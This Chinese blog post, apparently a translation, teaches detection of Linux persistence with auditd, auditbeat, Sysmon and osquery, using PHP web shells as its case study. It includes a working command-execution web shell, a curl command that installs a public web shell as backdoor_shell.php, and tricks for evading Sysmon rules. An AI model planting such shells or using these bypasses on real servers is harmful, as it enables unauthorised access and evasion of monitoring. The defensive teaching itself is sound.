Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

渗透测试, 黑客技术

本博客系列探讨了攻击者可能用来维持对受感染 linux 系统的持久访问的方法。为此，我们将通过MITRE ATT&CK Matrix for Linux 中列出的技术采取“进攻通知防御”的方法。

我会试着去：

  1. 举例说明攻击者如何部署这些后门之一
  2. 展示防御者如何监控和检测这些安装

通过给出这些持久性技术的具体实现，我希望让防御者更好地了解他们究竟试图检测什么，以及一些他们如何测试自己的警报的清晰示例。

博客系列概述

博客文章的其余部分结构如下：

  1. 持久化简介
  2. Linux 审计和文件完整性监控
  3. 如何设置和检测 web shell

每种持久化技术都有两个主要部分：

  1. 如何部署持久化技术
  2. 如何监控和检测持久性技术

在这篇博文中，我们将只讨论作为日志记录和监控案例研究的 web shell。我们将在后续帖子中讨论其他技术。在本系列中，我们将经历以下内容：

持久化简介

持久性包括攻击者用来在重启、更改凭据和其他可能切断其访问权限的中断期间保持对系统的访问的技术[1]

攻击者采用持久性技术，因此无需重复利用阶段。请记住，利用只是攻击者的第一步；他们仍然需要采取额外的步骤来实现他们的主要目标。

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

在成功访问机器后，他们需要通过网络转向并找到一种方法来访问和渗漏皇冠上的宝石。 

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

在这些后利用活动期间，攻击者与机器的连接可能会被切断，并且要重新获得访问权限，攻击者可能需要重复利用步骤。 

根据攻击者向量，重新利用可能很困难：

  1. 发送带有恶意附件的电子邮件：受害者不会两次打开同一个恶意文档。您必须再发送一封电子邮件，并希望受害者再次上当。
  2. 使用泄露的凭据和密钥：可能会重置密码或撤销密钥
  3. 利用具有关键 CVE的服务器：可以修补服务器
Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

由于利用的难度很大，攻击者希望充分利用他们的初始访问权限。为此，他们安装了后门访问，即使在重新启动后也能可靠地保持对受感染机器的访问。 

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

安装持久性后，攻击者不再需要依靠漏洞利用来重新获得对系统的访问权限。他可能只是在机器中使用添加的帐户或等待来自已安装服务的反向 shell。

0 Linux 日志和审计

0.1 文件完整性监控 

设置持久性所需的配置更改通常需要攻击者接触机器的磁盘，例如创建或修改文件。如果我们能够寻找与目录的特殊文件相关的文件创建或修改，这使我们有机会抓住对手。例如，如果我们试图检测服务的安装，我们可能需要在/etc/systemd/system和 其他相关目录中查找新添加的服务文件。

您可以使用以下内容：

  • Auditbeat 的文件完整性监控：https-auditbeat-module-file_integrity.html
  • 审计
  • Wazuh 的文件完整性监控：https-detect-fs-changes.html
Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

对于博客文章，我们将主要使用 auditd 和 auditbeats。

有关如何设置 auditd 和 auditbeats 的说明，请参阅附录中的 A02。

0.2 Auditd 和 Sysmon

0.2.1 什么是sysmon 和auditd？

监视操作系统中不同进程的两个强大工具是：

  • auditd：事实上的 Linux 审计和日志记录工具
  • sysmon : 以前是专门针对windows的工具，最近发布了一个Linux端口

这些工具中的每一个都需要您为其配置规则以生成有意义的日志和警报。我们将分别对 auditd 和 sysmon 使用以下内容：

有关如何安装 sysmon 的说明，请参阅附录 A01。

0.2.2 sysmon和auditd的比较

在撰写本文时，用于 linux 的 sysmon 仅发布了大约一个月。我没有大规模部署 sysmon 的经验。对 sysmon for linux 的支持仍在开发中，用于 Linux Elastic Agent 等代理，请参阅此处的问题

我正在使用 sysmonforlinux/buster,now 1.0.0

在为这篇博文做研究时，到目前为止我的评论是：

  • sysmon 的规则定义比auditd 的更灵活和更具表现力
  • 就像其他使用字符串匹配的规则一样，CommandLine可以绕过依赖于用户输入字段的规则。
  • 文件完整性监控是 SysmonForLinux 1.0.0 的一个弱点。在我的测试中，sysmon 只有在创建或覆盖文件时才会触发的事件 FileCreate。这意味着文件修改不会被 Sysmon 捕获（例如附加到文件）。
  • 我在日志中显示截断的规则标题时遇到了一些问题。
  • Auditd 规则可以根据高级预定义事件（例如ProcessCreation、 和 ）过滤到 syscall 级别和 sysmon 过滤器FileCreate。这意味着如果您要查找的特定活动未映射到 sysmon 事件，那么您可能很难使用 sysmon 来监视它。

总体而言，我对将来使用 sysmon for linux 来寻找有趣的进程和连接非常乐观，但仍会依赖其他工具进行文件完整性监控，例如 auditd 或 auditbeats。

在 Windows 中，FileCreate因为您有其他特定于配置更改的事件，例如RegistryEvent注册表项，所以只有它是可以的 ，但在 Linux 中，因为所有配置本质上都是文件，所以文件完整性监控在寻找系统更改方面起着更大的作用配置。

sysmon 的好处是网络活动和流程创建的规则更具表现力。它比尝试使用 auditd 的a0, a1, … 来匹配命令行参数更直观。

我们将在下一篇博文中讨论一些发现，但一些绕过的例子是：

  • T1087.001_Lo​​calAccount_Commands.xml查找必须/etc/passwd检测帐户枚举的命令。我们可以用cat /etc//passwd绕过这个规则
  • T1070.006_Timestomp_Touch.xml查找-r或--reference在touch命令中查找时间戳修改。我们可以使用touch a -\r b绕过这个甚至touch a -\-re\ference=b
  • T1053.003_Cron_Activity.xml旨在监控 crontab 文件的更改。Usingecho "* * * * * root touch /root/test" >> /etc/crontab将绕过这个，因为它不会创建或覆盖文件，并且在Debian 10使用标准crontab -e时不会触发这个，因为TargetFilenameis+/var/spool/cron/crontabs和 extra+在开始时会导致规则失败。

您可以在此处查看 auditd 和 sysmon 的不同架构：

我们从图中linuxsecurity.com看到 Sysmon 工作在 eBPF 之上，eBPF 是 Linux 内核系统调用的接口。当我们定义 sysmon 规则时，这是一种抽象，但因此，这种灵活性为攻击者提供了绕过某些规则的空间。

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l
图片来自“微软首席工程师 Kevin Sheldrake 将 Sysmon 引入 Linux”[2]

例如，在 sysmon 中，我们可以查找具有特定TargetFilename. 这更加灵活，因为您可以根据模式或关键字定义规则并查找尚不存在的文件。但是，/etc/passwd如果目标名称不完全是该字符串，则诸如此类的字符串匹配可能会失败。

与 auditd 不同，正在监视的是对文件和目录的 inode 的操作。这意味着对于需要监视哪些特定文件没有歧义。您甚至可以查找对特定文件的读取权限。但是，因为它基于 inode 进行监视，所以在启动 auditd 服务时这些文件必须存在。这意味着您无法根据某些模式观看文件，例如*/.ssh/authorized_keys

0.3 查询

Osquery 允许我们使用 SQL 查询来调查我们的端点。这简化了调查和收集证据的任务。

此外，当与诸如fleetdm 之类的管理界面配合使用时，您可以获取环境的基线，甚至可以寻找对手。

未来博客文章中的一个示例是查找设置了密码的帐户。如果您希望您的工程师始终通过公钥进行 SSH，那么您不应该看到活动密码。

我们可以使用此查询获取此信息

SELECT password_status, username, last_change
FROM shadow 
WHERE password_status = 'active';

并为您的所有车队获得类似于此的结果

+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active          | www-data | 18953       |
+-----------------+----------+-------------+

现在为什么www-data有密码？唔…

安装说明可以在官方文档中找到

安装后只需运行osqueryi并运行 SQL 查询。

1 服务器软件组件：Web Shell

1.1 web shell 介绍

MITRE : attack.mitre.org/techniques/T1505/003/

Web shell 是攻击者在 Web 服务器中安装的后门程序。一旦安装，它就成为攻击者的最初立足点，如果它从未被检测到，那么它就会成为一个简单的持久后门。

在我们的例子中，为了安装一个 web shell，我们在.php里面添加了一个错误的文件，/var/www/html这可能发生的一些原因是：

  • Web 应用程序具有易受攻击的上传 API
  • Web 应用程序存在严重的 RCE 漏洞
  • 攻击者拥有可以修改 Web 根文件夹内容的现有访问权限

如果攻击者可以上传以 php 运行的恶意文件，那么他就可以远程访问机器。

一个著名的例子是2017 年 Equifax 数据泄露事件。您可以阅读报告，但这是我的 TLDR： 

Web 服务器运行的 Apache Struts 包含一个严重的 RCE 漏洞。攻击者使用这个 RCE 来攻击他们用来访问敏感数据和泄露数据的 web shell。该漏洞使用了大约 30 个不同的 web shell。

请参阅以下资源：

1.2 安装自己的 web shell

注意：如果您想尝试一下，您可以按照附录 A00 中的设置说明进行操作。

假设我们已经有了 RCE，我们添加一个phpinfo.php包含我们的 web shell的文件。

vi /var/www/html/phpinfo.php

选择任何示例 php web shells。例如：

<html>  
<body>  
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">  
<input type="TEXT" name="cmd" id="cmd" size="80">  
<input type="SUBMIT" value="Execute">  
</form>  
<pre>  
<?php  
    if(isset($_GET['cmd']))  
    {  
        system($_GET['cmd']);  
    }  
?>  
</pre>

现在任何http://x.x.x.x/phpinfo.php有权访问的人都可以访问 web shell 并运行任意命令。

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

如果您没有shell访问权限怎么办？您或许可以通过无限制上传来安装 Web Shell。上传你的 php 后门，image.png.php后门可能在http://x.x.x.x/uploads/image.png.php.

您可以使用的另一个可能的命令是

curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php

1.3 检测：php文件的创建或修改

使用auditbeat的文件完整性监控

对于某些 Web 应用程序，我们可能能够在 auditbeat 的文件完整性监控中监控我们的 Web 应用程序的目录。

- module: file_integrity  
  paths:  
  - /bin  
  - /usr/bin  
  - /sbin  
  - /usr/sbin  
  - /etc  
  - /var/www/html    # <--- Add  
- module: system  
  datasets:  
    - package # Installed, updated, and removed packages

在使用_auditbeat’_s文件完整性监控模块时，我们看到在看 event.module: file_integrity

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

我们的vi命令“移动”了文件。在这种情况下，moved是一样updated的，因为如何vi工作。它在哪里创建一个临时文件/var/www/html/phpinfo.php.swp，如果你想保存它替换的文件/var/www/html/phpinfo.php

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

将导致created日志的命令示例是，如果我们运行

curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php -o /var/www/html/backdoor_shell.php
Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

使用审计来监控变化

我们可以将以下规则添加到auditd 

-w /var/www/html -p wa -k www_changes

您可以/var/www/html使用过滤器搜索所有对文件的写入或更新，tags: www_changes或者key="www_changes"

原始审计日志看起来像这样

type=SYSCALL msg=audit(1637597150.454:10650): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=556e6969fbc0 a2=241 a3=1b6 items=2 ppid=12962 pid=13086 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=11 comm="curl" exe="/usr/bin/curl" subj==unconfined key="www_changes", type=PATH msg=audit(1637597150.454:10650): item=0 name="/var/www/html" inode=526638 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597150.454:10650): item=1 name="backdoor_shell.php" inode=527243 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597150.454:10650): proctitle=6375726C0068747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F4A6F686E54726F6F6E792F7068702D7765627368656C6C732F6D61737465722F436F6C6C656374696F6E2F5048505F5368656C6C2E706870002D6F006261636B646F6F725F7368656C6C2E706870

这让我们注意到：

  • euid=0 操作的有效 UID
  • exe="/usr/bin/curl” 运行的命令
  • name="/var/www/html" ... name="backdoor_shell.php" 输出文件
  • key="www_changes" 被触发的审计警报的密钥
  • proctitle=63757... 是进程的十六进制编码标题，它是我们原始的 curl 命令 

用于检测web shell的文件完整性监控注意事项

还有其他方法可以检查。例如，如果有版本控制（如 git），您可以将当前状态与已知良好状态进行比较并调查差异。 

但是，如果存在我们期望经常写入和修改特定文件的文件夹，例如上传目录，那么文件完整性监控可能不会完全有效。我们可能需要微调此警报并尝试排除这些上传目录以减少噪音，但是您将如何检测上传目录中上传的 web shell！ 

我们需要寻找更有效的检测 web shell 的方法。

1.4 检测：使用auditd寻找www-data的命令执行

当我们运行 webservers 之类nginx的服务时，会在用户下运行www-data 。在常规操作中，我们不应该期望看到用户运行诸如whoami或ls 

然而，如果有一个 web shell，这些是我们最有可能看到的一些命令。因此，我们应该尝试使用auditd来检测这些。

这是一个审计规则，它将execve通过www-data(euid=33)查找系统调用，我们将其标记为detect_execve_www 

-a always,exit -F arch=b64 -F euid=33 -S execve -k detect_execve_www  
-a always,exit -F arch=b32 -F euid=33 -S execve -k detect_execve_www

我们在 webshel​​l 上运行以下命令

whoami  
id  
pwd  
ls -alh

我们从auditdauditbeats 解析得到以下日志。 

Linux持久性访问Auditd Sysmon Osquery和Webshel​​l

这是原始审计日志的示例 whoami 

type=SYSCALL msg=audit(1637597946.536:10913): arch=c000003e syscall=59 success=yes exit=0 a0=7fb62eb89519 a1=7ffd0906fa70 a2=555f6f1d7f50 a3=1 items=2 ppid=7182 pid=13281 auid=4294967295 uid=33 gid=33 euid=33 suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 comm="sh" exe="/usr/bin/dash" subj==unconfined key="detect_execve_www", type=EXECVE msg=audit(1637597946.536:10913):  argc=3 a0="sh" a1="-c" a2="whoami", type=PATH msg=audit(1637597946.536:10913): item=0 name="/bin/sh" inode=709 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597946.536:10913): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=1449 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597946.536:10913): proctitle=7368002D630077686F616D69Appendix

这让我们注意到：

  • euid=33, uid=33 这是 www-data 
  • comm="sh" exe="/usr/bin/dash” shell 
  • argsc=3 a0="sh" a1="-c" a2="whoami" 在 shell 上运行的命令
  • key="detect_execve_www" 被触发的审计警报的密钥

关于detect_execve_www的注意事项

假设您决定使用https://github.com/Neo23x0/auditd/blob/master/audit.rules 中的默认规则

如果您尝试使用现成的检测规则，例如随附的规则，sigma那么您可以尝试使用lnx_auditd_web_rce.yml。如果您使用来自Neo23x0的规则使用此查询，那么您将无法检测到任何 Web shell。

这是因为检测规则是 

detection:  
    selection:  
        type: 'SYSCALL'  
        syscall: 'execve'  
        key: 'detect_execve_www'  
    condition: selection

请注意，此过滤器会过滤密钥，detect_execve_www但 Neo23x0 中的任何地方均未定义此确切密钥audit.rules ！这就是为什么您应该始终测试您的配置并查看它是否检测到已知错误的原因。

在 Neo23x0 的规则中，你可能得到的最接近的东西默认被注释掉

## Suspicious shells  
#-w /bin/ash -p x -k susp_shell  
#-w /bin/bash -p x -k susp_shell  
#-w /bin/csh -p x -k susp_shell  
#-w /bin/dash -p x -k susp_shell  
#-w /bin/busybox -p x -k susp_shell  
#-w /bin/ksh -p x -k susp_shell  
#-w /bin/fish -p x -k susp_shell  
#-w /bin/tcsh -p x -k susp_shell  
#-w /bin/tclsh -p x -k susp_shell  
#-w /bin/zsh -p x -k susp_shell

在这种情况下，我们使用了我们的 web shell，/bin/dash因为它是/bin/sh我测试的当前 VM 中使用的默认 shell 。所以相关的规则是

-w /bin/dash -p x -k susp_shell

但这依赖于/bin/dashbuit的使用，如果 web shell 能够使用其他 shell，那么这个特定的警报将失败。在特定场景中测试您的审计规则以确保它按预期工作。

有关如何为 auditd 编写规则的更多信息，请参阅：

1.5 检测：使用 sysmon 寻找 www-data 的命令执行

MSTIC-Sysmon有两个单独的规则：

我们可以看到的地方：

  • 使用 /bin/bash、/bin/dash 或 /bin/sh 创建进程
  • 进程创建与父进程破折号或nginx的或含…和电流指令是一个whoami ，ifconfig ，/usr/bin/ip 等。

如果我们whoami在设置中运行，将触发的第一条规则是T1059.004,TechniqueName=Command and Scripting Interpreter: Unix Shell，因为规则的顺序。

<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>1</EventID>
    <Version>5</Version>
    <Channel>Linux-Sysmon/Operational</Channel>
    <Computer>sysmon-test</Computer>
    <Security UserId="0"/>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1059.004,TechniqueName=Command and Scriptin</Data>
    <Data Name="UtcTime">2021-11-23 14:06:07.116</Data>
    <Data Name="ProcessGuid">{717481a5-f54f-619c-2d4e-bd5574550000}</Data>
    <Data Name="ProcessId">11662</Data>
    <Data Name="Image">/usr/bin/dash</Data>
    <Data Name="FileVersion">-</Data>
    <Data Name="Description">-</Data>
    <Data Name="Product">-</Data>
    <Data Name="Company">-</Data>
    <Data Name="OriginalFileName">-</Data>
    <Data Name="CommandLine">sh -c whoami</Data>
    <Data Name="CurrentDirectory">/var/www/html</Data>
    <Data Name="User">www-data</Data>
    <Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data>
    <Data Name="LogonId">33</Data>
    <Data Name="TerminalSessionId">4294967295</Data>
    <Data Name="IntegrityLevel">no level</Data>
    <Data Name="Hashes">-</Data>
    <Data Name="ParentProcessGuid">{00000000-0000-0000-0000-000000000000}</Data>
    <Data Name="ParentProcessId">10242</Data>
    <Data Name="ParentImage">-</Data>
    <Data Name="ParentCommandLine">-</Data>
    <Data Name="ParentUser">-</Data>
  </EventData>
</Event>

在这里，我们看到/bin/dash正在执行，这就是触发规则的原因。之后，规则T1505.003,TechniqueName=Server Software Component: Web Shell由于 被触发whoami 。

这是它的日志。为简洁起见，我删除了一些字段。

<Event>
  <System>
    <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
    <EventID>1</EventID>
  </System>
  <EventData>
    <Data Name="RuleName">TechniqueID=T1505.003,TechniqueName=Serv</Data>
    <Data Name="UtcTime">2021-11-23 14:06:07.118</Data>
    <Data Name="ProcessGuid">{717481a5-f54f-619c-c944-fd0292550000}</Data>
    <Data Name="ProcessId">11663</Data>
    <Data Name="Image">/usr/bin/whoami</Data>
    <Data Name="CommandLine">whoami</Data>
    <Data Name="CurrentDirectory">/var/www/html</Data>
    <Data Name="User">www-data</Data>
    <Data Name="LogonGuid">{717481a5-0000-0000-2100-000000000000}</Data>
    <Data Name="LogonId">33</Data>
    <Data Name="ParentProcessId">11662</Data>
    <Data Name="ParentImage">/usr/bin/dash</Data>
    <Data Name="ParentCommandLine">sh</Data>
    <Data Name="ParentUser">www-data</Data>
  </EventData>
</Event>

现在有了这些知识，我们可以绕过T1505.003 sysmon 规则。通过运行system("/bin/bash whoami")使whoami命令的父映像不会是dash . 这将触发两个T1059.004警报。

只是为了练习，如果我们想detect_execve_www在 sysmon 中复制我们的，我们可以使用以下规则

    <RuleGroup name="" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Rule name="detect_shell_www" groupRelation="and">
          <User condition="is">www-data</User>
          <Image condition="contains any">/bin/bash;/bin/dash;/bin/sh;whoami</Image>
        </Rule>
      </ProcessCreate>
    </RuleGroup>

如果我们想用 sysmon 进行基本的文件完整性监控，我们可以使用

<FileCreate onmatch="include">
    <Rule name="change_www" groupRelation="or">
        <TargetFilename condition="begin with">/var/www/html</TargetFilename> 
    </Rule>
</FileCreate>

有关编写自己的 sysmon 规则的更多信息，您可以查看：

1.6 使用 osquery 寻找 web shell

对于 osquery，我们可能无法“找到”web shell 本身，但我们可能能够找到 webshel​​l 的证据。如果攻击者使用 web shell，他们可能会尝试建立一个反向 shell。如果是这样，我们应该是一个从 web 服务器到攻击者的出站连接。

SELECT pid, remote_address, local_port, remote_port, s.state, p.name, p.cmdline, p.uid, username  
FROM process_open_sockets  AS s 
JOIN processes AS p 
USING(pid) 
JOIN users 
USING(uid)
WHERE 
    s.state = 'ESTABLISHED' 
    OR s.state = 'LISTEN';

这将查找具有已建立连接或具有侦听端口的套接字的进程。


+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| pid   | remote_address  | local_port | remote_port | state       | name            | cmdline                                | uid  | username |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+
| 14209 | 0.0.0.0         | 22         | 0           | LISTEN      | sshd            | /usr/sbin/sshd -D                      | 0    | root     |
| 468   | 0.0.0.0         | 80         | 0           | LISTEN      | nginx           | nginx: worker process                  | 33   | www-data |
| 461   | 74.125.200.95   | 51434      | 443         | ESTABLISHED | google_guest_ag | /usr/bin/google_guest_agent            | 0    | root     |
| 8563  | 10.0.0.13       | 39670      | 9200        | ESTABLISHED | auditbeat       | /usr/share/auditbeat/bin/auditbeat ... | 0    | root     |
| 17770 | 6.7.8.9         | 22         | 20901       | ESTABLISHED | sshd            | sshd: user@pts/0                       | 1000 | user     |
| 17776 | 1.2.3.4         | 51998      | 1337        | ESTABLISHED | bash            | bash                                   | 33   | www-data |
+-------+-----------------+------------+-------------+-------------+-----------------+----------------------------------------+------+----------+

请注意，我们看到暴露的端口22和80正常的端口。我们看到 GCP 使用的某些二进制文件的出站连接（我的 VM 托管在 GCP 中）以及将auditbeat我的日志传送到 SIEM 的服务。

我们还看到一个活动的 SSH 连接6.7.8.9可能是正常的。

应该引起您注意的是连接pid =17776。它是到1337运行 shell 的端口的出站连接www-data！这可能是一个活动的反向shell！

下一步是什么

我们已经讨论了使用 sysmon、osqueryu、auditd 和 auditbeats 进行监控和日志记录的基础知识，并且我们已经使用了有关如何检测 web shell 的创建和使用的案例研究。

在下一篇博文中，我们将介绍帐户的创建和操作。

附录

A00 设置nginx和php

如果你想在你自己的虚拟机上试试这个，你需要先设置一个配置为使用 php 的 nginx 服务器。（我们遵循本指南）。

你需要安装nginx和php

sudo apt-get update  
sudo apt-get install nginx  
sudo apt-get install php-fpm

sudo vi /etc/php/7.3/fpm/php.ini  
# cgi.fix_pathinfo=0  
sudo systemctl restart php7.3-fpm

sudo vi /etc/nginx/sites-available/default  
# configure nginx to use php see next codeblock

sudo systemctl restart nginx

nginx 配置可能看起来像这样

server {  
    listen 80 default_server;  
    listen [::]:80 default_server;

root /var/www/html;

index index.html index.htm index.nginx-debian.html;

server_name _;

location / {  
        try_files $uri $uri/ =404;  
    }

location ~ \\.php$ {  
        include snippets/fastcgi-php.conf;  
        fastcgi_pass unix:/run/php/php7.3-fpm.sock;  
    }  
}

现在你应该有一个 web 服务器侦听端口 80 可以运行 php 代码。任何以 结尾的文件 .php都将作为 php 代码运行。

A01 为 linux 设置 sysmon

对于 linux 的 sysmon，我使用的是 Debian 10，

因此基于github.com/Sysinternals/SysmonForLinux

wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.asc.gpg  
sudo mv microsoft.asc.gpg /etc/apt/trusted.gpg.d/  
wget -q https://packages.microsoft.com/config/debian/10/prod.list  
sudo mv prod.list /etc/apt/sources.list.d/microsoft-prod.list  
sudo chown root:root /etc/apt/trusted.gpg.d/microsoft.asc.gpg  
sudo chown root:root /etc/apt/sources.list.d/microsoft-prod.list

sudo apt-get update  
sudo apt-get install apt-transport-https  
sudo apt-get update  
sudo apt-get install sysmonforlinux

我使用了microsoft/MSTIC-Sysmon

git clone https://github.com/microsoft/MSTIC-Sysmon.git 
cd MSTIC-Sysmon/linux/configs  
sudo sysmon -accepteula -i main.xml

# if you are experimenting and want to see all sysmon logs use  
# sudo sysmon -accepteula -i main.xml

日志现在应该可以在 /var/log/syslog 

如果你想添加规则，main.xml那么你可以修改它，然后重新加载配置并重新启动 sysmon

sudo sysmon -c main.xml  
sudo sysmtectl restart sysmon

A02 为 linux 设置 auditbeats 和 auditd 

注意：设置本地 elasticsearch 集群超出了本博文的范围。 

Elastic 有很好的 auditbeats 文档：https 

curl -L -O https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.15.2-amd64.deb  
sudo dpkg -i auditbeat-7.15.2-amd64.deb

调整 /etc/auditbeat/auditbeat.yml

添加elasticsearch的配置

output.elasticsearch:  
  hosts: ["10.10.10.10:9200"]  
  username: "auditbeat_internal"  
  password: "YOUR_PASSWORD"

要配置审计规则，请验证 audit_rule_files 

# ... 
- module: auditd  
  audit_rule_files: [ '${path.config}/audit.rules.d/\*.conf' ]  
  audit_rules: |
    ## Define audit rules  
# ...

在这种情况下，它在/etc/auditbeat/audit.rules.d/，我audit-rules.conf从github.com/Neo23x0/audit.rules添加

对于我制定的一些自定义规则，我将其添加到 /etc/auditbeat/audit.rules.d/custom.conf 

其他来源：

from

转载请注明出处及链接

Leave a Reply

您的邮箱地址不会被公开。 必填项已用 * 标注